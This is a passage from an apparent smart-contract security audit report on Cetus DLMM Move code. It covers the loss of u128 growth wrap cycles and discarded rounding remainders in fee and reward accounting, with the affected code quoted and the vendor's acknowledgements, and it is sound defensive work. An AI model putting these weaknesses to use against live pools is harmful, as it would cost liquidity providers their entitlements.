An ordinary transaction sender can generate LP fee growth through the public exact-input or exact-output flash-swap flow, including its partner variant, when swaps are enabled and the sender is unrestricted. Active-bin open-position and add-liquidity flows can generate composition-fee growth, while public flows that invoke `reward_settle` can advance reward growth. The affected checkpoint is later consumed and overwritten through the public ID-only update and refresh functions or through the position owner's add-liquidity, remove-liquidity, and close-position flows. Advancing global growth does not require ownership of the already affected `Position`, and the ID-only update and refresh functions do not require that ownership to advance its checkpoint. This issue requires the affected `BinStat` to retain nonzero liquidity and an unchanged checkpoint while the true cumulative growth for one fee or reward stream advances by at least `2^128`. Each individual batch must remain within the per-call growth limit, and the bin generation, package types, shared `Pool`, and protocol `Versioned` object must remain valid throughout the interval.

However, `Bin` stores only the low `u128` word. The fee overflow branch checks whether one batch can be represented, but safe batches are still combined with `wrapping_add`. The locked `integer_mate` implementation performs addition modulo `2^128`, so the per-batch guard does not preserve the number of complete cycles accumulated across multiple calls:

```
// cetusdlmm::bin::accumulate_fee(...) — packages/cetus_dlmm/sources/bin.move:1048

let fee_growth_delta_b = if (growth_by_fee_overflows(fee_b, bin.liquidity_share)) {
    // Same reserve auto-compounding fallback for token B.
    assert!(std::u64::max_value!() - bin.amount_b >= fee_b,
EBinAmountOverflowOnFeeFallback);
    bin.amount_b = bin.amount_b + fee_b;
    0
} else {
    calculate_growth_by_amount(fee_b, bin.liquidity_share)
};
bin.fee_a_growth_global = math_u128::wrapping_add(bin.fee_a_growth_global,
fee_growth_delta_a);
bin.fee_b_growth_global = math_u128::wrapping_add(bin.fee_b_growth_global,
fee_growth_delta_b);
```

Reward growth uses the same single-word accumulation model after each batch has passed the pool's reward-growth overflow split:

```
// cetusdlmm::bin::accumulate_rewards(...) —
packages/cetus_dlmm/sources/bin.move:1083

public(package) fun accumulate_rewards(bin: &mut Bin, accumulated_rewards:
vector<u128>) {
    let mut idx = 0;
    assert!(bin.liquidity_share > 0, EBinLiquiditySupplyZero);
    while (idx < accumulated_rewards.length()) {
        let reward_growth = full_math_u128::mul_div_floor(
            accumulated_rewards[idx],
            1u128 << constants::scale_offset!(),
            bin.liquidity_share,
        );
        if (bin.rewards_growth_global.length() <= idx) {
            bin.rewards_growth_global.push_back(reward_growth);
        } else {
            let growth = bin.rewards_growth_global.borrow_mut(idx);
            *growth = math_u128::wrapping_add(*growth, reward_growth);
        };
```

When the position is later updated, removed, or closed, settlement subtracts the stored low-word checkpoint with `wrapping_sub`, immediately replaces that checkpoint, and credits only the resulting modular delta. The checked additions to `fee_owned_a` and `fee_owned_b` validate the already-truncated amount and therefore cannot detect an omitted full cycle. An abort would roll back the transaction atomically, but this path succeeds because the modular result is valid:

```
// cetusdlmm::position::update_fee_per_bin(...) —
packages/cetus_dlmm/sources/position.move:1233

let fee_a = calculate_amount_by_growth(
    math_u128::wrapping_sub(fee_a_growth_global, bin_stat.fee_a_growth),
    bin_stat.liquidity_share,
);
let fee_b = calculate_amount_by_growth(
    math_u128::wrapping_sub(fee_b_growth_global, bin_stat.fee_b_growth),
    bin_stat.liquidity_share,
);
bin_stat.fee_a_growth = fee_a_growth_global;
bin_stat.fee_b_growth = fee_b_growth_global;
assert!(std::u64::max_value!() - *fee_a_owned >= fee_a, EPositionFeeOverflow);
assert!(std::u64::max_value!() - *fee_b_owned >= fee_b, EPositionFeeOverflow);
*fee_a_owned = *fee_a_owned + fee_a;
*fee_b_owned = *fee_b_owned + fee_b;
```

As a result, once the affected position's checkpoint advances, the current accounting state no longer contains the cycle information needed to credit the fee or reward entitlement represented by an unrecorded full growth cycle. The corresponding token balance remains in the pool balance or reward vault without being credited to that position, causing an entitlement shortfall for its owner.

Recommendation

Represent every fee and reward growth accumulator as an extended monotonic value, such as an epoch plus low word, and store the same representation in each position checkpoint. Apply the representation consistently before liquidity-share changes, reward-slot additions, bin-generation recycling, removal, and close operations. Because the existing `Pool`, `Bin`, `PositionInfo`, and `BinStat` layouts cannot simply gain fields in a compatible Move upgrade, place versioned accounting extensions in module-controlled dynamic fields or migrate users to a new pool and position type. Initialize migrated checkpoints from the same snapshot as their global counters, reconcile any independently evidenced historical wraps, and verify that settlement across zero, one, and multiple complete cycles produces identical entitlements.

Alleviation

[Cetus, 08/19/2026]: Losing complete `u128` wrap cycles is theoretically possible, but reaching a full-cycle growth delta between consecutive checkpoints is outside the expected operational range. We acknowledge and accept this theoretical residual risk.

CED-50 | Checkpoint Updates Discard Position-Level Remainders

Category	Severity	Location	Status
Volatile Code	Informational	packages/cetus_dlmm/sources/position.move (081326-f317a94): 163~164, 1174~1175, 1226~1227	Acknowledged

Description

Any transaction sender can call `update_position_fee_and_rewards` with the shared `Pool`, the protocol `Versioned` object, the `Clock`, and a valid `position_id`. The function does not require the owned `Position`, an owner signature, a capability, or `GlobalConfig`, and it mutates the `PositionInfo` stored inside the shared pool after settling rewards. This lets a third party choose the settlement cadence even though later collection and removal still require the owned position:

```
// cetusdlmm::pool::update_position_fee_and_rewards(...) —
packages/cetus_dlmm/sources/pool.move:2027

public fun update_position_fee_and_rewards<CoinTypeA, CoinTypeB>(
    pool: &mut Pool<CoinTypeA, CoinTypeB>,
    position_id: ID,
    versioned: &Versioned,
    clk: &Clock,
) {
    versioned.check_version();

    // Settle rewards on pool
    pool.reward_settle(clk);

    // Settle position fee and rewards
    let position_info = pool.position_manager.borrow_mut_position_info(position_id);
```

For a position with nonzero share, each fee stream is converted to an integer token amount with floor division. The implementation then overwrites both growth checkpoints without storing `growth_delta * liquidity_share mod 2^128`, so a fractional entitlement from one update is unavailable to the next update. The owned-counter overflow assertions only validate the floored `u64` results and do not preserve the discarded numerator remainder:

```
// cetusdlmm::position::update_fee_per_bin(...) –
packages/cetus_dlmm/sources/position.move:1233

let fee_a = calculate_amount_by_growth(
    math_u128::wrapping_sub(fee_a_growth_global, bin_stat.fee_a_growth),
    bin_stat.liquidity_share,
);
let fee_b = calculate_amount_by_growth(
    math_u128::wrapping_sub(fee_b_growth_global, bin_stat.fee_b_growth),
    bin_stat.liquidity_share,
);
bin_stat.fee_a_growth = fee_a_growth_global;
bin_stat.fee_b_growth = fee_b_growth_global;
assert!(std::u64::max_value!() - *fee_a_owned >= fee_a, EPositionFeeOverflow);
assert!(std::u64::max_value!() - *fee_b_owned >= fee_b, EPositionFeeOverflow);
*fee_a_owned = *fee_a_owned + fee_a;
*fee_b_owned = *fee_b_owned + fee_b;
```

Reward settlement follows the same order: it floors the interval amount and advances the slot checkpoint before adding the integer result to `rewards_owned`:

```
// cetusdlmm::position::update_reward_per_bin(...) –
packages/cetus_dlmm/sources/position.move:1191

let reward_amount = if (inited_count > reward_idx) {
    let reward_growth = bin_stat.rewards_growth.borrow_mut(reward_idx as u64);
    let reward_amount = calculate_amount_by_growth(
        math_u128::wrapping_sub(reward_growth_global, *reward_growth),
        bin_stat.liquidity_share,
    );
    *reward_growth = reward_growth_global;
    reward_amount
} else {
    let reward_amount = calculate_amount_by_growth(
        reward_growth_global,
        bin_stat.liquidity_share,
    );
    bin_stat.rewards_growth.push_back(reward_growth_global);
    reward_amount
};
```

These calls succeed under normal values, so transaction rollback, balance sufficiency checks, and position ownership rules on later collection or removal do not restore the lost fractions.

As a result, repeated settlement can reduce the affected position's eventual fee and reward claims by up to almost one atomic unit per bin and stream on each update. The omitted amounts remain in the pool balance or reward vault, and the position owner bears the cumulative fee and reward shortfall.

Recommendation

Store a numerator remainder for fee A, fee B, and every reward slot in each position-bin accounting record, add the prior remainder before the next wide multiplication and division, and update the checkpoint only after both quotient and remainder have been recorded. Define explicit handling for liquidity-share changes, reward-slot additions, recycled bin generations, position transfer, removal, and close. A compatible upgrade should keep these values in a module-controlled versioned extension or migrate to new position state, initializing historical remainders to zero because already-discarded fractions cannot be reconstructed from current checkpoints. The ID-only updater may remain permissionless after settlement is batch-independent; otherwise, require a matching `&Position` or an equivalent non-forgeable authorization proof. Verify that one settlement and any partition of the same total growth produce the same claim plus stored remainder.

Alleviation

[Cetus, 08/19/2026]: Fractional remainder loss during position checkpoint updates is an expected consequence of integer-based accounting. We acknowledge the resulting rounding dust and accept the current behavior.

CED-51 | Bin Growth Accounting Discards Distribution Remainders

Category	Severity	Location	Status
Logical Issue	Informational	packages/cetus_dlmm/sources/bin.move (081326-f317a94): 928~929	Acknowledged

Description

Ordinary transaction senders can generate LP fees through public `flash_swap` followed by `repay_flash_swap` when swaps are enabled and the sender is unrestricted. A holder of any matching owned position can generate composition fees through active-bin liquidity addition, and any sender with a valid position ID can invoke public settlement functions that call `reward_settle`. The affected bin must have nonzero `liquidity_share`, the batch must not take an overflow fallback, and the amount-to-growth division must have a nonzero remainder. No administrative capability or ownership of an affected LP position is required for the swap and settlement paths.

For a swap, the bin adds the non-fee input to its reserves while passing the LP fee to the growth accumulator:

```
// cetusdlmm::bin::swap_exact_amount_in(...) —
packages/cetus_dlmm/sources/bin.move:927

// Update bin state
let protocol_fee = calculate_fee_inclusive(fee_amount, protocol_fee_rate);
let lp_fee = fee_amount - protocol_fee;
bin.amount_a = bin.amount_a + amount_in - fee_amount;
bin.amount_b = bin.amount_b - amount_out;
bin.accumulate_fee(lp_fee, 0);
```

The required receipt repayment joins the complete input amount into the pool's `Balance<T>`. Growth accounting is therefore the record that assigns the separated LP fee to positions:

```
// cetusdlmm::pool::repay_flash_swap(...) —
packages/cetus_dlmm/sources/pool.move:2659

assert!(object::id(pool) == pool_id, EFlashSwapRepayNotMatch);
assert!(ref_fee_amount == 0, EFlashSwapRepayNotMatch);
if (a2b) {
    assert!(balance_a.value() == pay_amount, EFlashSwapRepayAmountNotCorrect);
    pool.balance_a.join(balance_a);
    balance_b.destroy_zero();
} else {
    assert!(balance_b.value() == pay_amount, EFlashSwapRepayAmountNotCorrect);
    pool.balance_b.join(balance_b);
    balance_a.destroy_zero();
};
```

However, the conversion stores only the floor-rounded growth quotient. It does not return or persist the division remainder for the bin generation:

```
// cetusdlmm::dlmm_math::calculate_growth_by_amount(...) —
packages/cetus_dlmm/sources/dlmm_math.move:336

public fun calculate_growth_by_amount(amount: u64, liquidity: u128): u128 {
    assert!(liquidity > 0, EInvalidLiquidity);
    if (amount == 0) {
        return 0
    };
    full_math_u128::mul_div_floor(
        (amount as u128) << scale_offset!(),
        1u128 << scale_offset!(),
        liquidity,
    )
}
```

Reward distribution applies the same floor-only pattern to each slot and stores only the quotient in `rewards_growth_global`:

```
// cetusdlmm::bin::accumulate_rewards(...) —
packages/cetus_dlmm/sources/bin.move:1087

let reward_growth = full_math_u128::mul_div_floor(
    accumulated_rewards[idx],
    1u128 << constants::scale_offset!(),
    bin.liquidity_share,
);
if (bin.rewards_growth_global.length() <= idx) {
    bin.rewards_growth_global.push_back(reward_growth);
} else {
    let growth = bin.rewards_growth_global.borrow_mut(idx);
    *growth = math_u128::wrapping_add(*growth, reward_growth);
};
```

The nonzero-liquidity assertion, per-batch overflow handling, position ownership checks on collection, `Balance<T>` sufficiency checks, and atomic rollback do not reject this path because the floored quotient is valid.

As a result, the aggregate LP entitlement can be smaller than the fee or reward assigned to the bin by up to almost one atomic unit per bin, slot, and batch before position-level rounding. Repeated batches accumulate unallocated surplus in the pool balance or reward vault, and the result depends on how the same total amount is partitioned.

Recommendation

Persist a distribution remainder for fee A, fee B, and each reward slot for every bin generation, and combine it with the next batch using wide arithmetic before updating global growth. Prevent value from crossing LP cohorts when liquidity shares

change: finalize the old liquidity epoch under an explicit dust rule or retain an epoch-scoped remainder that only the old cohort can settle. Handle active-bin changes, reward-slot additions, bin deletion, and recycled generations explicitly. Implement the state in a module-controlled versioned dynamic-field extension or a migrated pool type, initialize new remainder fields to zero, and separately account for any pre-upgrade pool or vault surplus because historical remainders cannot be inferred. Verify that all partitions of the same amount preserve `distributed entitlement + stored remainder` and that liquidity entry or exit cannot acquire an earlier cohort's remainder.

Alleviation

[Cetus, 08/19/2026]: Remainder truncation during bin-level growth distribution is a known integer-precision trade-off. We acknowledge the potential accumulation of rounding dust and accept the current implementation without modification.

APPENDIX | CETUS - DLMM

Audit Scope

CetusProtocol/cetus-dlmm
packages/cetus_dlmm/sources/reward.move
packages/cetus_dlmm/sources/bin.move
packages/cetus_dlmm/sources/pool.move
packages/cetus_dlmm/sources/bin.move
packages/cetus_dlmm/sources/pool.move
packages/cetus_dlmm/sources/position.move
packages/cetus_dlmm/sources/bin.move
packages/cetus_dlmm/sources/pool.move
packages/cetus_dlmm/sources/position.move
packages/cetus_dlmm/sources/pool.move
packages/cetus_dlmm/sources/bin.move
packages/cetus_dlmm/sources/config.move
packages/cetus_dlmm/sources/pool.move
packages/cetus_dlmm/sources/registry.move
packages/cetus_dlmm/sources/reward.move
packages/cetus_dlmm/sources/dlmm_math.move
packages/cetus_dlmm/sources/parameters.move
packages/cetus_dlmm/sources/acl.move
packages/cetus_dlmm/sources/admin_cap.move

CetusProtocol/cetus-dlmm
packages/cetus_dlmm/sources/config.move
packages/cetus_dlmm/sources/constants.move
packages/cetus_dlmm/sources/dlmm_math.move
packages/cetus_dlmm/sources/parameters.move
packages/cetus_dlmm/sources/partner.move
packages/cetus_dlmm/sources/price_math.move
packages/cetus_dlmm/sources/registry.move
packages/cetus_dlmm/sources/restriction.move
packages/cetus_dlmm/sources/versioned.move
packages/cetus_dlmm/sources/acl.move
packages/cetus_dlmm/sources/admin_cap.move
packages/cetus_dlmm/sources/bin.move
packages/cetus_dlmm/sources/config.move
packages/cetus_dlmm/sources/constants.move
packages/cetus_dlmm/sources/dlmm_math.move
packages/cetus_dlmm/sources/parameters.move
packages/cetus_dlmm/sources/partner.move
packages/cetus_dlmm/sources/pool.move
packages/cetus_dlmm/sources/position.move
packages/cetus_dlmm/sources/price_math.move
packages/cetus_dlmm/sources/registry.move
packages/cetus_dlmm/sources/restriction.move

CetusProtocol/cetus-dlmm
packages/cetus_dlmm/sources/reward.move
packages/cetus_dlmm/sources/versioned.move
packages/cetus_dlmm/sources/acl.move
packages/cetus_dlmm/sources/admin_cap.move
packages/cetus_dlmm/sources/bin.move
packages/cetus_dlmm/sources/config.move
packages/cetus_dlmm/sources/constants.move
packages/cetus_dlmm/sources/dlmm_math.move
packages/cetus_dlmm/sources/parameters.move
packages/cetus_dlmm/sources/partner.move
packages/cetus_dlmm/sources/position.move
packages/cetus_dlmm/sources/price_math.move
packages/cetus_dlmm/sources/registry.move
packages/cetus_dlmm/sources/restriction.move
packages/cetus_dlmm/sources/reward.move
packages/cetus_dlmm/sources/versioned.move
packages/cetus_dlmm/sources/acl.move
packages/cetus_dlmm/sources/admin_cap.move
packages/cetus_dlmm/sources/constants.move
packages/cetus_dlmm/sources/dlmm_math.move
packages/cetus_dlmm/sources/parameters.move
packages/cetus_dlmm/sources/partner.move

CetusProtocol/cetus-dlmm
packages/cetus_dlmm/sources/position.move
packages/cetus_dlmm/sources/price_math.move
packages/cetus_dlmm/sources/restriction.move
packages/cetus_dlmm/sources/versioned.move
packages/cetus_dlmm/sources/acl.move
packages/cetus_dlmm/sources/admin_cap.move
packages/cetus_dlmm/sources/bin.move
packages/cetus_dlmm/sources/config.move
packages/cetus_dlmm/sources/constants.move
packages/cetus_dlmm/sources/dlmm_math.move
packages/cetus_dlmm/sources/parameters.move
packages/cetus_dlmm/sources/partner.move
packages/cetus_dlmm/sources/pool.move
packages/cetus_dlmm/sources/position.move
packages/cetus_dlmm/sources/price_math.move
packages/cetus_dlmm/sources/registry.move
packages/cetus_dlmm/sources/restriction.move
packages/cetus_dlmm/sources/reward.move
packages/cetus_dlmm/sources/versioned.move
packages/cetus_dlmm/sources/acl.move
packages/cetus_dlmm/sources/admin_cap.move
packages/cetus_dlmm/sources/bin.move

CetusProtocol/cetus-dlmm
packages/cetus_dlmm/sources/config.move
packages/cetus_dlmm/sources/constants.move
packages/cetus_dlmm/sources/dlmm_math.move
packages/cetus_dlmm/sources/parameters.move
packages/cetus_dlmm/sources/partner.move
packages/cetus_dlmm/sources/pool.move
packages/cetus_dlmm/sources/position.move
packages/cetus_dlmm/sources/price_math.move
packages/cetus_dlmm/sources/registry.move
packages/cetus_dlmm/sources/restriction.move
packages/cetus_dlmm/sources/reward.move
packages/cetus_dlmm/sources/versioned.move
packages/cetus_dlmm/sources/acl.move
packages/cetus_dlmm/sources/admin_cap.move
packages/cetus_dlmm/sources/config.move
packages/cetus_dlmm/sources/constants.move
packages/cetus_dlmm/sources/parameters.move
packages/cetus_dlmm/sources/partner.move
packages/cetus_dlmm/sources/position.move
packages/cetus_dlmm/sources/price_math.move
packages/cetus_dlmm/sources/registry.move
packages/cetus_dlmm/sources/restriction.move

CetusProtocol/cetus-dlmm
packages/cetus_dlmm/sources/reward.move
packages/cetus_dlmm/sources/versioned.move
packages/cetus_dlmm/sources/acl.move
packages/cetus_dlmm/sources/admin_cap.move
packages/cetus_dlmm/sources/config.move
packages/cetus_dlmm/sources/constants.move
packages/cetus_dlmm/sources/dlmm_math.move
packages/cetus_dlmm/sources/partner.move
packages/cetus_dlmm/sources/price_math.move
packages/cetus_dlmm/sources/registry.move
packages/cetus_dlmm/sources/restriction.move
packages/cetus_dlmm/sources/reward.move
packages/cetus_dlmm/sources/versioned.move

Finding Categories

Categories	Description
Centralization	Centralization findings detail the design choices of designating privileged roles or other centralized controls over the code.
Logical Issue	Logical Issue findings indicate general implementation issues related to the program logic.
Denial of Service	Denial of Service findings indicate that an attacker may prevent the program from operating correctly or responding to legitimate requests.
Volatile Code	Volatile Code findings refer to segments of code that behave unexpectedly on certain edge cases and may result in vulnerabilities.

Categories	Description
Inconsistency	Inconsistency findings refer to different parts of code that are not consistent or code that does not behave according to its specification.
Design Issue	Design Issue findings indicate general issues at the design level beyond program logic that are not covered by other finding categories.
Coding Issue	Coding Issue findings are about general code quality including, but not limited to, coding mistakes, compile errors, and performance issues.

DISCLAIMER | CERTIK

This report is subject to the terms and conditions (including without limitation, description of services, confidentiality, disclaimer and limitation of liability) set forth in the Services Agreement, or the scope of services, and terms and conditions provided to you ("Customer" or the "Company") in connection with the Agreement. This report provided in connection with the Services set forth in the Agreement shall be used by the Company only to the extent permitted under the terms and conditions set forth in the Agreement. This report may not be transmitted, disclosed, referred to or relied upon by any person for any purposes, nor may copies be delivered to any other person other than the Company, without CertiK's prior written consent in each instance.

This report is not, nor should be considered, an "endorsement" or "disapproval" of any particular project or team. This report is not, nor should be considered, an indication of the economics or value of any "product" or "asset" created by any team or project that contracts CertiK to perform a security assessment. This report does not provide any warranty or guarantee regarding the absolute bug-free nature of the technology analyzed, nor do they provide any indication of the technologies proprietors, business, business model or legal compliance.

This report should not be used in any way to make decisions around investment or involvement with any particular project. This report in no way provides investment advice, nor should be leveraged as investment advice of any sort. This report represents an extensive assessing process intending to help our customers increase the quality of their code while reducing the high level of risk presented by cryptographic tokens and blockchain technology.

Blockchain technology and cryptographic assets present a high level of ongoing risk. CertiK's position is that each company and individual are responsible for their own due diligence and continuous security. CertiK's goal is to help reduce the attack vectors and the high level of variance associated with utilizing new and consistently changing technologies, and in no way claims any guarantee of security or functionality of the technology we agree to analyze.

The assessment services provided by CertiK is subject to dependencies and under continuing development. You agree that your access and/or use, including but not limited to any services, reports, and materials, will be at your sole risk on an as-is, where-is, and as-available basis. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The assessment reports could include false positives, false negatives, and other unpredictable results. The services may access, and depend upon, multiple layers of third-parties.

ALL SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF ARE PROVIDED "AS IS" AND "AS AVAILABLE" AND WITH ALL FAULTS AND DEFECTS WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED UNDER APPLICABLE LAW, CERTIK HEREBY DISCLAIMS ALL WARRANTIES, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS. WITHOUT LIMITING THE FOREGOING, CERTIK SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT, AND ALL WARRANTIES ARISING FROM COURSE OF DEALING, USAGE, OR TRADE PRACTICE. WITHOUT LIMITING THE FOREGOING, CERTIK MAKES NO WARRANTY OF ANY KIND THAT THE SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF, WILL MEET CUSTOMER'S OR ANY OTHER PERSON'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULT, BE COMPATIBLE OR WORK WITH ANY SOFTWARE, SYSTEM, OR OTHER SERVICES, OR BE SECURE, ACCURATE, COMPLETE, FREE OF HARMFUL CODE, OR ERROR-FREE. WITHOUT LIMITATION TO THE FOREGOING, CERTIK PROVIDES NO WARRANTY OR

UNDERTAKING, AND MAKES NO REPRESENTATION OF ANY KIND THAT THE SERVICE WILL MEET CUSTOMER'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULTS, BE COMPATIBLE OR WORK WITH ANY OTHER SOFTWARE, APPLICATIONS, SYSTEMS OR SERVICES, OPERATE WITHOUT INTERRUPTION, MEET ANY PERFORMANCE OR RELIABILITY STANDARDS OR BE ERROR FREE OR THAT ANY ERRORS OR DEFECTS CAN OR WILL BE CORRECTED.

WITHOUT LIMITING THE FOREGOING, NEITHER CERTIK NOR ANY OF CERTIK'S AGENTS MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND, EXPRESS OR IMPLIED AS TO THE ACCURACY, RELIABILITY, OR CURRENCY OF ANY INFORMATION OR CONTENT PROVIDED THROUGH THE SERVICE. CERTIK WILL ASSUME NO LIABILITY OR RESPONSIBILITY FOR (I) ANY ERRORS, MISTAKES, OR INACCURACIES OF CONTENT AND MATERIALS OR FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A RESULT OF THE USE OF ANY CONTENT, OR (II) ANY PERSONAL INJURY OR PROPERTY DAMAGE, OF ANY NATURE WHATSOEVER, RESULTING FROM CUSTOMER'S ACCESS TO OR USE OF THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS.

ALL THIRD-PARTY MATERIALS ARE PROVIDED "AS IS" AND ANY REPRESENTATION OR WARRANTY OF OR CONCERNING ANY THIRD-PARTY MATERIALS IS STRICTLY BETWEEN CUSTOMER AND THE THIRD-PARTY OWNER OR DISTRIBUTOR OF THE THIRD-PARTY MATERIALS.

THE SERVICES, ASSESSMENT REPORT, AND ANY OTHER MATERIALS HEREUNDER ARE SOLELY PROVIDED TO CUSTOMER AND MAY NOT BE RELIED ON BY ANY OTHER PERSON OR FOR ANY PURPOSE NOT SPECIFICALLY IDENTIFIED IN THIS AGREEMENT, NOR MAY COPIES BE DELIVERED TO, ANY OTHER PERSON WITHOUT CERTIK'S PRIOR WRITTEN CONSENT IN EACH INSTANCE.

NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS.

THE REPRESENTATIONS AND WARRANTIES OF CERTIK CONTAINED IN THIS AGREEMENT ARE SOLELY FOR THE BENEFIT OF CUSTOMER. ACCORDINGLY, NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH REPRESENTATIONS AND WARRANTIES AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH REPRESENTATIONS OR WARRANTIES OR ANY MATTER SUBJECT TO OR RESULTING IN INDEMNIFICATION UNDER THIS AGREEMENT OR OTHERWISE.

FOR AVOIDANCE OF DOUBT, THE SERVICES, INCLUDING ANY ASSOCIATED ASSESSMENT REPORTS OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, TAX, LEGAL, REGULATORY, OR OTHER ADVICE.

Elevate Your Web3 Journey

CertiK is the largest Web3 security platform combining formal verification with audits and comprehensive security solutions.